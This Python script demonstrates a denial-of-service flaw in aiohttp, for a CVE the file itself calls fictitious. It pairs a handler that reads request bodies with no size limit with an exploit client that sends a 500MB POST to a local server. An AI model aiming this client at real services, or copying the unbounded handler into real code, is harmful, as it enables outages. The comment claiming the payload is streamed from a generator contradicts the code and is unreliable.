Vulnerable code sample

#
# This code represents a hypothetical vulnerable application as described
# in the fictitious CVE-2025-69228 for aiohttp versions <= 3.13.2.
#
# The vulnerability is that calling `await request.post()` reads the entire
# request body into memory without a limit. An attacker can send a POST
# request with a very large body, causing the server's memory to be
# exhausted, leading to a Denial of Service (DoS).
#
# This single script can be run in two modes: 'server' or 'client'.
#
# 1. To run the vulnerable server:
#    pip install aiohttp
#    python your_script_name.py server
#
# 2. To run the exploit client (in a separate terminal):
#    python your_script_name.py client
#
# The client will send a large (e.g., 500MB) POST request to the server.
# When the server's handler calls `await request.post()`, it will attempt
# to load this entire 500MB payload into RAM, likely crashing the process
# due to memory exhaustion.

import asyncio
import sys
from aiohttp import web, ClientSession, MultipartWriter

# --- Vulnerable Server Code ---

async def handle_upload(request: web.Request):
    """
    This is the vulnerable handler.
    The line `await request.post()` attempts to parse the entire request body
    and load it into memory. It does not enforce a size limit.
    """
    print("Handler received request, attempting to process body...")
    try:
        # VULNERABLE CALL: Reads the entire body into memory.
        # If the body is several gigabytes, this will exhaust system memory.
        data = await request.post()
        
        # The server will likely crash before this line is ever reached.
        print(f"Successfully processed {len(data)} fields from post data.")
        return web.Response(text=f"Upload successful. Processed {len(data)} fields.")
    except MemoryError:
        # This exception might be caught, but the process is likely unstable
        # or frozen by the time the OS has dealt with the memory allocation.
        print("FATAL: MemoryError caught. The server is out of memory.")
        # It's often too late to recover gracefully.
        return web.Response(status=500, text="Internal Server Error: Out of Memory")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")
        return web.Response(status=500, text=f"An unexpected error occurred: {e}")

def run_vulnerable_server():
    """Sets up and runs the aiohttp server with the vulnerable endpoint."""
    app = web.Application()
    app.router.add_post('/upload', handle_upload)
    
    host = '127.0.0.1'
    port = 8080
    
    print(f"Starting vulnerable server on http://{host}:{port}")
    print("Send a large POST request to /upload to trigger the vulnerability.")
    web.run_app(app, host=host, port=port)


# --- Exploit Client Code ---

async def run_exploit_client():
    """
    This client crafts and sends a request with a massive body to exploit
    the vulnerability in the server.
    """
    target_url = 'http://127.0.0.1:8080/upload'
    
    # Define a large payload size (e.g., 500 MB).
    # Adjust this based on your system's available RAM.
    # A value larger than available RAM will demonstrate the crash.
    payload_size_mb = 500
    large_payload_size = payload_size_mb * 1024 * 1024
    
    print(f"Preparing to send a {payload_size_mb}MB payload to {target_url}...")

    # Using MultipartWriter to create a streaming multipart/form-data request.
    # We create a payload that is streamed from a generator to avoid
    # using large amounts of memory on the client side.
    mpwriter = MultipartWriter('form-data')
    
    payload = mpwriter.append(b'A' * large_payload_size)
    payload.set_content_disposition('form-data', name='file', filename='large.dat')

    try:
        async with ClientSession() as session:
            print("Sending the malicious request... Watch the server's memory usage.")
            async with session.post(target_url, data=mpwriter) as response:
                # We don't expect a successful response. The server will likely
                # crash before it can send one.
                print(f"Received response status: {response.status}")
                text = await response.text()
                print(f"Received response body: {text[:100]}...")

    except Exception as e:
        print(f"\nClient request failed, as expected: {e}")
        print("This is likely because the server crashed or the connection was severed.")
        print("Check the server terminal for evidence of a crash or MemoryError.")


# --- Main Execution Logic ---

if __name__ == "__main__":
    if len(sys.argv) != 2 or sys.argv[1] not in ['server', 'client']:
        print("Usage: python your_script_name.py [server|client]")
        sys.exit(1)

    mode = sys.argv[1]

    if mode == 'server':
        run_vulnerable_server()
    elif mode == 'client':
        try:
            asyncio.run(run_exploit_client())
        except KeyboardInterrupt:
            print("Client stopped.")